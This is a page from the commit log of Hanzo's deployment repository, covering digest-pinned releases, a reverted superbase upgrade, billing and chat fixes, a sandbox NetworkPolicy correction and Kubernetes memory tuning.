  ZAP to KMS; set the KMS endpoint to zap://host:9999 (or host:9999)

Base v1.5.16 rejects an http(s) KMS endpoint at construction. main has been
un-deployable since that bump; nothing surfaced it because nothing had rebuilt
superbase since.

These two edits are ONE change and must never be split:
  - 0.3.4 (base v1.5.4) speaks HTTP, so pointing it at zap:// breaks the pod
    that is serving right now.
  - 0.3.9 (base v1.5.16) rejects https://, so bumping the image alone
    reproduces the panic above.

The endpoint is not a new dependency. kms.hanzo.ai already routes to the cloud
Service — the standalone kmsd is retired and KMS is embedded in cloud — and that
Service already exposes zap:9653 alongside http:8000. Verified reachable from
ns hanzo-superbase before this was written.

Proven on a canary of the exact digest with this exact endpoint, run beside the
live pod (emptyDir for the RWO volume the live pod holds): boots to "Server
started at http://0.0.0.0:8090" with the ZAP transport listening and no panic.
The previous attempt at this shipped straight to production and crash-looped;
this one did not.

0.3.9 is main as it stands — the seam change is reverted out of it.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 03:13:11 -07:00
hanzo-dev a9031ed025 billing 1.0.20 — self-service money-in actually works now
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
Ships the incident remediation (forge 315cb42, rebased on the crypto-address
containment ed272ea): /topup reads its token from localStorage instead of a
cookie nothing sets, the Square card field mounts and stays mounted on a
direct visit (the provider no longer remounts children 3x and the hook no
longer destroys the card it just attached), and a failed read renders as
'couldn't load' instead of a false $0. Pinned by digest — the build's bytes
are proven pullable; the semver tag label follows.

A live low-value charge remains the one unproven step, to run once this rolls.
2026-08-06 03:11:18 -07:00
hanzo-dev 9e568fa2d0 chat 1.0.95 -> 1.0.96: red-team pass 2, self-service ready
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
2026-08-06 03:01:41 -07:00
hanzo-dev fe30e49cbe chat: re-fire the 1.0.95 roll — exfil fix stranded on operator restart
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
The 02:41 pin to 1.0.95 (red-team markdown image-exfiltration fix + 1.0.94's
dock/signature) never reached the pod: the reconciler restarted ~08:40 and
processes only commits it sees live, so it caught the ~09:00 iam pin but not
chat's earlier one, leaving chat.hanzo.ai on 1.0.93 with the HIGH fix declared
but undeployed for ~7h. Re-affirming the same pin as a fresh commit is the
deploy trigger; running converges to the git-declared digest.
2026-08-06 02:47:25 -07:00
hanzo-dev ece9d55b3b chat 1.0.93 -> 1.0.95: red-team image-exfil fix, self-service ready
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
2026-08-06 02:41:09 -07:00
hanzo-dev d616984487 iam v1.34.22: sign-in relocates off alias hosts, fixing social login
CI / manifests (push) Failing after 17s
CI / guards (push) Failing after 8s
Charts / publish (push) Successful in 32s
CI / integrity (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 11s
Begin an authorize on iam.hanzo.ai/auth.hanzo.ai and the host-only hanzo_fed
bind cookie was set there, but beginFederation registers the Google callback
at the pinned hanzo.id — so the cookie was absent at the callback and every
social sign-in begun on an alias failed with 'the federation session could
not be verified'. v1.34.22 relocates the request to the issuer (307) before
anything is set. Digest-pinned; verified 200 on ghcr.
2026-08-06 02:24:59 -07:00
zeekayandhanzo-dev 3389b5e35f boxes: a policy that selects no pod is not containment
CI / guards (push) Failing after 9s
CI / integrity (push) Failing after 6s
Charts / publish (push) Successful in 26s
CI / manifests (push) Failing after 25s
Mirror to GitHub / publish (push) Failing after 9s
The code-exec NetworkPolicy was written for the right reasons and enforced
nothing. It lived in namespace `hanzo` matching `app: code-exec`; apps/sandbox
schedules boxes into `hanzo-boxes` labelled `hanzo.ai/box-class`, and the
Deployment it was written for never shipped. Its own header said "the isolation
has to already be in place the moment the workload comes back" — a selector that
matches no pod is not in place, and the day boxes deploy it would have stayed
not in place with nothing to notice.

That gap is load-bearing rather than theoretical. The box API key is ONE SHARED
KEY across the pool, so the credential a box hands the code it runs is the
credential that opens every other tenant's box. Theft of it from /proc was
reproduced end to end before boxd started refusing to run without uid
separation. Network reach is what decides whether a stolen key is useful, and it
is the control that holds if the other is misconfigured — so it has to select a
real pod.

ONE SELECTOR, BOTH SHAPES. A box is a box whether apps/sandbox scheduled it for
one project or a Deployment holds it in the shared exec pool for hanzo.chat;
both carry hanzo.ai/box-class, so Exists governs every executor in the namespace
and a new class is contained the day it is added rather than the day someone
remembers to widen a list. That is also why the shared pool moves out of `hanzo`
— apps/sandbox's pool already records that a box must not sit beside the
datastores it is forbidden to reach, and the exec pool runs the same binary on
the same submitted code.

Egress is a whitelist, so box→box on 8000, box→datastore and box→apiserver are
denied by omission. The one opening is 80/443 to public address space, which a
dev box needs to clone and install; the RFC1918 and link-local excepts are what
keep that from being a route back in, since a ClusterIP is just an address in
10/8 and the metadata endpoint is at 169.254.169.254.

Policy and namespace only. The executor Deployment lands here when the box image
publishes — pinning a tag that does not exist deploys an ImagePullBackOff.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 02:19:21 -07:00
zeekayandhanzo-dev f159c97c1d chat: state the eviction mechanism correctly
The resource change is unchanged and still right; two comments justifying it
described kubelet's ranking wrongly, and a wrong mechanism in a comment is how
the next person fixes the wrong thing.

kubelet ranks memory-pressure eviction per POD: whether the pod's working set
exceeds the SUM of its containers' requests. Not per container. So "a
container that requests 0 is always over its request" is not the mechanism --
what a 0-request container does is contribute nothing to the sum while still
consuming, lowering the bar the whole pod has to clear. Same conclusion, and
it is why both halves of the fix were needed, but it gets there honestly.

Also: the order containers appear in an eviction message is report ordering by
consumption, not the ranking. "replicate" appearing ahead of "chat" is not
evidence about which one caused the eviction.

  helm template renders 640Mi/32Mi/32Mi as intended; no other diff.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 02:19:21 -07:00
zeekayandhanzo-dev b40879c47f chat: a container that requests 0 is always the first one evicted
The 256Mi -> 512Mi bump earlier today did not hold. The pod it shipped in,
chat-77cbb6dbd6-fcl69, was evicted 36 minutes after it started:

  06:42:01Z  chat-74797cf9db-v4n8q   using 500556Ki, request is 256Mi
             replicate               using  13468Ki, request is 0
  07:27:52Z  chat-77cbb6dbd6-fcl69   using 542816Ki, request is 512Mi
             replicate               using  18904Ki, request is 0

Two separate things are wrong and only one of them was chat's own request.

kubelet ranks eviction victims by how far a pod is over its request. The
replicate sidecar shipped with no resources block at all, so its request is
zero, and a container that requests zero and uses anything is over its request
always. That drags the whole pod into the first-to-evict bucket regardless of
what the chat container asks for -- which is why both eviction messages name
replicate first, ahead of chat. No amount of raising chat's request could have
fixed that half.

So: give replicate a request (32Mi, ~1.7x its 18904Ki peak), give the restore
init the same, and put chat's request ABOVE its working set rather than at it.
The peak climbed 488Mi -> 530Mi across the two measured evictions; 512Mi was
already under it when it shipped. 640Mi leaves real headroom.

An init container's request does not add to the pod's steady-state footprint
(kubelet takes max(init, sum(app))), so replicate-restore's costs nothing and
keeps a cold-starting pod from being picked off before it reaches Ready.

Net change to the pod: +128Mi on chat, +32Mi on replicate. One replica.

Not fixed here, and the reason the nodes are under pressure in the first place:
otel-agent requests 192Mi, is configured with a memory_limiter ceiling of
800 MiB, and was measured at 967000Ki (944Mi) -- five times its request, on all
19 nodes. Five hanzo-val-* nodes sit at MemoryPressure=True because of it.
Reconciling that request with that limiter is a fleet-wide scheduling decision,
not a chat one.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 02:19:21 -07:00
zeekayandhanzo-dev 8e0fbcbb0d hanzod(mainnet): api.hanzo.network — the host the frontends already call
CI / integrity (push) Failing after 9s
CI / guards (push) Failing after 12s
Mirror to GitHub / publish (push) Failing after 10s
CI / manifests (push) Failing after 24s
The exchange SPAs have shipped SPA_RPC_HOST_HANZO =
https://api.hanzo.network/v1/bc/C/rpc for a while, and that host does not
exist: no ingress, no DNS record. Only api.hanzo.ai (an unrelated app) and
api.hanzo.team were served here, so every Hanzo RPC call from a browser died
at DNS. lux and zoo both have their public edge; hanzo never did.

Backed by hanzod-rpc rather than a new gateway. lux runs an api-gateway with
five explicit luxd backends, but hanzod-rpc already selects only validator pods
marked hanzo.ai/rpc=fresh — adding a gateway here would be a second way to do
the same thing.

Carries the same upstream-hash-by pinning as the lux hosts. nginx-ingress
balances across Service endpoints itself rather than deferring to kube-proxy,
so hashing the client address really does pin a caller to one validator — which
is what stops a broadcast and its receipt poll landing on different nodes and
manufacturing "receipt not mined in time" against a healthy chain.

Verified: a request with Host: api.hanzo.network against the ingress LB
(129.212.164.5) is matched and redirected to HTTPS, so routing is live. Still
needs the DNS A record -> 129.212.164.5; the CLOUDFLARE_API_TOKEN in the
environment is rejected (code 1000, Invalid API Token), so that one step is
blocked on a working credential.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 02:18:40 -07:00
hanzo-dev 0201372fa7 billing 1.0.19 — money-in is reachable, and no invented plan
CI / integrity (push) Failing after 7s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 16s
CI / manifests (push) Failing after 20s
Charts / publish (push) Successful in 26s
Standing doors to the top-up page (the Credit Balance tile, an Add-credit
button on the Credits section, the zero-balance banner). The dashboard stops
printing a Developer plan and a 30-day renewal for a zero-subscription org:
no plan reads as Prepaid credit.
2026-08-06 02:14:15 -07:00
hanzo-devandzeekay e6cd04e189 a pin names both halves or it is not a pin
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 9s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 15s
_helpers.tpl renders repository:tag@digest and the kubelet resolves the DIGEST,
so a values file whose tag moved and whose digest did not deploys the old image
and reports success. Every readback agrees with you, because they all read the
tag.

Three writers, three different failures:

pin.sh already writes both from one lookup and refuses when it cannot resolve.
Unchanged.

live2values.py could only ever write one. It split repo:tag@digest on '@' and
threw the TAG away, and a live pod on a bare tag yielded no digest at all -- so
every file adopted through it started life violating the invariant. It now emits
the pair or reports the workload unfit, which is the mechanism the script already
had for a field the chart has no home for. A live pod on a bare tag IS an
unmovable pin; writing it into a values file launders it into something that
looks converged. Measured on all three shapes: before, all three wrote a file and
the CORRECT one lost its tag; after, only the pair writes.

The human-edit path had a check -- pins.py --resolve, the one gate in the fleet
that asks the registry anything -- and it was continue-on-error. The comment
narrowed it to a single live finding and said to delete the flag once that
cleared. It has: iam pinned v1.34.4@9681afd5 against a re-pushed tag, and today
pins v1.34.17@5c17d06d which the registry serves as 5c17d06d. A concession that
outlives its reason is how a check stops being one. Mutation-tested by moving
iam's tag to v1.34.16 and leaving the digest: the gate now says "digest does not
match the tag ... runs sha256:5c17d06d while reporting 'v1.34.16'".

And the gate had the same disease it was written to cure. It reported "no new
violations" over 43 pins it never fetched -- an unread pin fell through to the
clean path, so reading nothing and finding nothing wrong were one exit code.
Three answers now, the distinction cloud's .hanzo/scripts/orphans.sh already
draws: 0 read and clean, 1 a contradiction, 2 a source that did not answer. Not
narrowed to "verified nothing at all", because a mis-scoped token blinds it to
exactly the private repos worth checking while the public ones keep it green.

The offline shape gate is red on main with 9 violations and was before this
commit; pins_test.sh fails the same 4 cases either side of it.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 02:12:07 -07:00
hanzo-ciandhanzo-dev 7ded949e2d cloud v1.801.485 -> v1.801.486
CI / guards (push) Failing after 6s
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
Charts / publish (push) Successful in 14s
CI / manifests (push) Failing after 15s
ghcr.io/hanzoai/cloud:v1.801.486
sha256:b62be7f5b557f41cfe7774e2990be38280eed378be9cb16f97c3f7ba5bded20c

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: hand

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 02:11:07 -07:00
zeekayandhanzo-dev 5e8e62d8f6 pin the digest the tag names, not the one it replaced
CI / integrity (push) Failing after 17s
CI / guards (push) Failing after 19s
Mirror to GitHub / publish (push) Failing after 19s
CI / manifests (push) Failing after 29s
Charts / publish (push) Successful in 32s
Moving tag: alone changed nothing a customer could see. The rendered image is
tag@digest and Kubernetes resolves the DIGEST, so pay kept running the bytes
built from 59d886c while its tag claimed 98e0f066 — a pin that reads as the new
release and serves the old one, which is worse than an obviously stale tag
because every surface reports the new name.

Both move together or neither does.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 02:02:24 -07:00
zeekayandhanzo-dev abcaaf3e04 pay serves the checkout that has every rail
CI / integrity (push) Failing after 7s
CI / guards (push) Failing after 9s
CI / manifests (push) Failing after 16s
Charts / publish (push) Successful in 21s
Mirror to GitHub / publish (push) Failing after 26s
The pinned image was built from 59d886c, fourteen commits behind, so the page it
served still gated crypto and wire behind 'coming soon' — a claim that stopped
being true once the wire address was fixed (commerce v1.50.7) and MPC keygen
started completing (luxfi/mpc v1.17.22).

98e0f066 is the single lineage: the app code with no comingSoon left, built by
the Dockerfile into ghcr.io/hanzoai/static and served behind hanzoai/ingress.
The Cloudflare Worker that used to answer this host is deleted in that commit,
so this pin is now the ONLY thing that decides what a customer sees.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 01:54:42 -07:00
zeekayandhanzo-dev f0d289d385 Revert superbase to 0.3.4 — 0.3.8 panics on boot
CI / integrity (push) Failing after 13s
Charts / publish (push) Successful in 14s
CI / guards (push) Failing after 16s
Mirror to GitHub / publish (push) Failing after 15s
CI / manifests (push) Failing after 25s
0.3.8 CrashLoopBackOff:

  panic: kms: "https://kms.hanzo.ai" is an HTTP endpoint — Base speaks native
  ZAP to KMS; set the KMS endpoint to zap://host:9999 (or host:9999)

Not the seam change that motivated the build. hanzoai/base v1.5.4 -> v1.5.16
landed on superbase main separately and requires a ZAP endpoint; this values
file still supplies an HTTP URL. 0.3.8 was simply the first image to carry that
bump to production, so an unrelated dependency upgrade shipped under a change
about Kubernetes clients.

Back to the last image known to serve. The fix is a config change (KMS endpoint
-> zap://kms.hanzo.ai:9999) verified against the new Base BEFORE re-pinning,
not a re-roll of the same image.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 01:45:39 -07:00
zeekayandhanzo-dev 407a66a6f3 superbase 0.3.4 -> 0.3.8: tenant CRs through a seam, no cluster client linked
CI / integrity (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 9s
CI / guards (push) Failing after 10s
Charts / publish (push) Successful in 18s
CI / manifests (push) Failing after 17s
Ships 7379671: plugin/tenant no longer links client-go or controller-runtime.
The CR writes go through the same fail-closed seam cloud-oss uses, and Apply
patches first (MergePatch, Create on NotFound) instead of read-modify-write, so
the operator's status is preserved by construction rather than by re-reading it.

0.3.8 and not 0.3.5: GHCR already carried 0.3.5, 0.3.6 and 0.3.7 while
production ran 0.3.4 — images built and never pinned. Next free patch wins;
the git tags, which stop at v0.3.4, are not the authority on what the registry
already holds.

Digest read from the build log's "pushing manifest" line and confirmed against
GHCR independently, because platform leaves build_job.imageDigest null on
success. Tag and digest move together.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 01:43:48 -07:00
hanzo-dev 5657323233 chat 1.0.92 -> 1.0.93
CI / manifests (push) Failing after 22s
Charts / publish (push) Successful in 32s
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 9s
Mirror to GitHub / publish (push) Failing after 9s
2026-08-06 01:39:39 -07:00
zeekayandhanzo-dev ac83228f29 hanzod-mv: v1.36.58 — estate convergence (staged; apply after mv-2 resync)
CI / manifests (push) Failing after 50s
CI / guards (push) Failing after 21s
CI / integrity (push) Failing after 14s
Mirror to GitHub / publish (push) Failing after 16s
Adds e50609ab94 (cached miss must never overwrite a durable block) on
top of the .57 race fix. Applied deliberately after the in-flight mv-2
resync completes — this tree is hand-applied by design.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 01:17:49 -07:00
hanzo-dev fc0b2ea0b5 a release name is not the build namespace's to write
CI / guards (push) Failing after 10s
CI / integrity (push) Failing after 9s
CI / manifests (push) Failing after 23s
Mirror to GitHub / publish (push) Failing after 10s
Five Jobs published ghcr.io/hanzoai/cloud:v* out of ns hanzo-build — 485, 484
and 476 by kubectl, 478 and 477 by platform. None claimed a version, so none
minted a tag; 477 built the OSS split under the private tree's release name and
its failure is why that tag has no image. All five resolved #refs/heads/main at
fetch time and passed no REVISION, so the bytes can be neither traced nor rebuilt.

image-build-job.yaml already said in a comment that it is not the canonical
build path. That is what the five jobs are made of.

A credential split cannot carry this rule: GHCR gates per package, never per
tag, so any token that lets this namespace push cloud:sha-6c1b4a6 — which the
delegate lane does legitimately every push — also lets it push cloud:v1.801.485.
Labels cannot carry it either; build-cloud-476c already set managed-by=platform
by hand. The output ref can: it is in the pod spec, it is the bytes that will
execute, and admission runs after authz on every request, so it binds
cluster-admin where RBAC does not.

Scoped to the repos that have DECLARED one release owner (cloud, in hanzo.yml),
not to the v-tag shape: 13 of the 18 live v-tag builds here are luxfi/node,
luxfi/mpc, hanzoai/replicate, visor and sensei-group releasing exactly this way,
and a rule that reddened them is a rule someone switches off.

Prevention. .hanzo/scripts/orphans.sh in cloud's receipt job stays detection.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 01:16:06 -07:00
hanzo-ci d4c5fc5ea5 insights-worker 1.52.79 -> 1.52.79
Charts / publish (push) Successful in 33s
CI / guards (push) Failing after 16s
CI / manifests (push) Failing after 23s
CI / integrity (push) Failing after 15s
Mirror to GitHub / publish (push) Failing after 11s
ghcr.io/hanzoai/insights:1.52.79
sha256:8460f345784b7a776e79e846bf190f658c30746b907d554781417995fe441835

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 34298
2026-08-06 08:07:16 +00:00
hanzo-ci a74e74a663 insights-web 1.52.79 -> 1.52.79
ghcr.io/hanzoai/insights:1.52.79
sha256:8460f345784b7a776e79e846bf190f658c30746b907d554781417995fe441835

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 34298
2026-08-06 08:07:16 +00:00
hanzo-ci 2198059d3c insights-worker 1.52.78 -> 1.52.79
CI / manifests (push) Failing after 25s
Charts / publish (push) Successful in 36s
CI / integrity (push) Failing after 7s
CI / guards (push) Failing after 14s
Mirror to GitHub / publish (push) Failing after 11s
ghcr.io/hanzoai/insights:1.52.79
sha256:ec14abcce65942d8f3152e0238112cd9e99f05931680735aa4f182bb83502076

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 34295
2026-08-06 07:58:27 +00:00
hanzo-ci 52b46b19b4 insights-web 1.52.78 -> 1.52.79
ghcr.io/hanzoai/insights:1.52.79
sha256:ec14abcce65942d8f3152e0238112cd9e99f05931680735aa4f182bb83502076

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 34295
2026-08-06 07:58:26 +00:00
hanzo-ci 02945edcb4 insights-plugin 0.1.7 -> 0.1.8
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
ghcr.io/hanzoai/insights-plugin:0.1.8
sha256:d1781d998428fbfe906dd0740e68b425cd7afd322647614d446c60ae42ee9424

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 34297
2026-08-06 07:53:19 +00:00
hanzo-dev 71cd4d4cab chat 1.0.91 -> 1.0.92
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
2026-08-06 00:52:47 -07:00
hanzo-ci 2babfa36ec insights-livestream 1.0.1 -> 1.0.2
Charts / publish (push) Successful in 32s
CI / manifests (push) Failing after 23s
CI / guards (push) Failing after 10s
CI / integrity (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 12s
ghcr.io/hanzoai/insights-livestream:1.0.2
sha256:58a1209561fef8d7ad7cefec2b482b474d59ecc178c13fc62209530150d35e4e

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 34296
2026-08-06 07:45:37 +00:00
hanzo-dev 372a285bef cloud v1.801.485 — @hanzo answers in Slack, and the Home tab is ours
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 6s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 16s
tag    v1.801.484 -> v1.801.485
  digest a7832789...  -> sha256:a82d5c68bb7dee66e5d8e6b43bb4d5d43c2f530e611e8a9157e080ccca4f7196

Tag and digest move together; digest from GHCR's docker-content-digest.

Fixes the reason every Slack DM answered "Sorry — I couldn't reach your Hanzo
account just now": kms.ErrSecretNotFound does not survive the plugin wire (a
plugin is a process; the error is rebuilt from its STRING), so errors.Is was
false and an UNLINKED user took the broken branch instead of being handed the
link prompt. Repaired at kmsGet, the one door onto the store.

Also publishes a real App Home on app_home_opened instead of leaving Slack's
"this is still a work in progress" placeholder.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 00:34:13 -07:00
hanzo-dev f345688a02 cloud v1.801.484 — the Slack agent surface and the Direct install URL
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 15s
tag    v1.801.483 -> v1.801.484
  digest c3a88a72...  -> sha256:a78327894f4c81f4236f5c12557ca7a08024b6628fe5e05280fd81e060bbe15e

Tag and digest move together; digest read from GHCR's docker-content-digest for
that tag, not from the build log.

Ships:
  - assistant:write scope + assistant_thread_started/_context_changed events,
    the two code-side parts of Slack's Agents & AI Apps surface (the third is
    the toggle in the app config). Without them @hanzo answers mentions and DMs
    but is never OFFERED as an agent.
  - GET /v1/integrations/slack/install -> 302 to Slack's consent URL. Slack
    refuses a slack.com URL in the Direct install URL field and requires one of
    ours that 302s to slack.com, because the field is an attribution hook.

Built from github.com/hanzo-inc/cloud, which is what the BuildKit lane's
--opt=context still points at. The same change is on the forge (1df91068) as a
separate commit; the two trees have diverged (forge +125 / inc +50) and
reconciling them, then repointing the context at the forge, is #194.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 23:58:40 -07:00
zeekayandhanzo-dev b94791f32c cloud: raise the edge body limit to 100 MiB
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 11s
Charts / publish (push) Successful in 14s
GATEWAY_BODY_LIMIT defaulted to 16 MiB (cloud config.go), a number chosen for
CHAT PROMPTS: the framework default of 4 MiB silently capped the context window,
since a 1M-token prompt serializes to ~4.3 MB of JSON, so 16 MiB was picked to
give that ~3.7x headroom. Site publishing then inherited it.

The site subsystem's own caps are an order of magnitude larger -- blob.go allows
512 MiB total and 64 MiB per file -- so a zip deploy was throttled by a constant
that was never about zips. Two of 24 built exports could not be posted at all,
and the failure is unreadable: fasthttp refuses an oversize body BEFORE any
handler runs, returning the opaque 400 'Error when parsing request', which reads
like a malformed payload rather than a size cap.

100 MiB clears trillerfest.com (76.7 MiB). It does NOT fix hanzo.ai, which has
8,536 files against blob.go's separate maxFiles=5000 -- a different cap that no
body limit reaches. GOMEMLIMIT is 9GiB, so the headroom is there.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 23:49:48 -07:00
hanzo-ci a806ed913b billing 1.0.17 -> 1.0.18
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 6s
CI / manifests (push) Failing after 12s
Mirror to GitHub / publish (push) Failing after 8s
Charts / publish (push) Successful in 17s
ghcr.io/hanzoai/billing:1.0.18
sha256:2b8f908c975a2805a2b014d69f88873d5e10d7aa604e7d17578942c9f4747a1f

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 34118
2026-08-06 06:48:25 +00:00
hanzo-dev f89163b8cd chat: request the memory it actually uses
CI / guards (push) Failing after 7s
CI / integrity (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 13s
Charts / publish (push) Successful in 16s
The pod runs ~500Mi steady; requesting 256Mi made it the first eviction
target when its node ran dry (evicted tonight, ~3 minutes of 503). The
request now matches reality so scheduling accounts for it honestly.
2026-08-05 23:45:06 -07:00
zeekayandhanzo-dev ccc3bc03d2 iam: drop auth.pars.ai — we never owned the domain
CI / integrity (push) Failing after 31s
CI / manifests (push) Failing after 41s
CI / guards (push) Failing after 32s
Mirror to GitHub / publish (push) Failing after 39s
The Ingress declared TLS for a host that resolves nowhere, so now that
cert-manager is reconciling again the ingress-shim mints a Certificate on
every pass that cannot be issued by either challenge type: DNS-01 needs a
Cloudflare zone we do not have, HTTP-01 needs an A record pointing here.
pars.ai is on GoDaddy nameservers (ns51/ns52.domaincontrol.com) parked at
15.197.148.33, and auth.pars.ai is NXDOMAIN. docs/CANONICAL.md:354 already
said so; nothing acted on it because the failure was invisible while
cert-manager was down.

What it was meant to be is in the header it sat under:

    auth.pars.ai     -> pars.id

a branded alias mirroring auth.hanzo.ai -> hanzo.id, assuming Pars has a .ai
the way Hanzo does. It does not. Pars has pars.id and pars.network, both on
our Cloudflare, with pars.id already A'd to this ingress at 129.212.164.5
and already carrying the pars-console IAM app. The canonical host was never
missing — only the alias was imaginary, so the alias goes rather than being
repointed.

Also out of the IAM CORS origin list, where it was an entry that could never
appear as a real Origin header, and out of the CANONICAL alias table.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 23:39:09 -07:00
hanzo-dev 23d9166184 chat 1.0.84 -> 1.0.91
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 8s
Charts / publish (push) Successful in 18s
CI / manifests (push) Failing after 17s
2026-08-05 23:34:53 -07:00
zeekayandhanzo-dev 7eaaf48515 visor v1.108.17 -> v1.108.22: no Kubernetes client, ha.Static metering
CI / integrity (push) Failing after 9s
CI / guards (push) Failing after 10s
Mirror to GitHub / publish (push) Failing after 11s
Charts / publish (push) Successful in 24s
CI / manifests (push) Failing after 30s
Ships 51e3923: visor links zero k8s.io packages (the cluster autoscaler that had
never run is deleted; billing election moved to the ha.Membership seam) and
registers ha.Static — the single-writer claim that makes hourly metering
exactly-once.

Ordering, because this pair can double-bill: the Deployment was scaled to 1 by
hand BEFORE this image goes out. `replicas: 1` in this file could not do it —
the Application ignores /spec/replicas fleet-wide, so it said 1 while the live
Deployment ran 2 and CD reported Synced throughout. The image field is NOT
ignored, so this bump does reconcile.

Tag and digest move together. Built through the platform lane
(POST /v1/runner -> BuildKit in hanzo-build); digest read from the job log's
"pushing manifest" line and confirmed independently against GHCR, since
platform leaves build_job.imageDigest null even on success.

Two things blocked this and are worth recording. The builder clones
github.com/hanzoai/visor, NOT the forge that repo calls canonical — and that
repo was ARCHIVED, so the tag could not be pushed there and BuildKit failed in
11s with "repository does not contain ref". That is why v1.108.18 through
v1.108.21 all exist as tags with no image in GHCR. The repo is unarchived.
Second, enqueue is idempotent on (repo, sha, target) regardless of status, so
the failed row had to be deleted before the same sha would build.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-05 23:31:55 -07:00
hanzo-ci 9f8b6e5e53 hanzo-app v1.42.335 -> v1.42.335
CI / integrity (push) Failing after 5s
Mirror to GitHub / publish (push) Failing after 8s
CI / guards (push) Failing after 9s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 16s
ghcr.io/hanzoai/app:v1.42.335
sha256:ca9685be04f52ba79ecbb0637519295cb9c7b3719444340f55398b508b7e18c5

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 34020
2026-08-06 06:31:23 +00:00
hanzo-ci 2d0e623a6d hanzo-app v1.42.334 -> v1.42.335
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 7s
Charts / publish (push) Successful in 16s
CI / manifests (push) Failing after 16s
ghcr.io/hanzoai/app:v1.42.335
sha256:5621c135e45956084af8bcd6d733e7553e4854a4555d92aa72b29da59bd33d19

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 34019
2026-08-06 06:30:52 +00:00
hanzo-dev ce8cc3165e iam: hanzo-mobile — the native app's public client, all derived
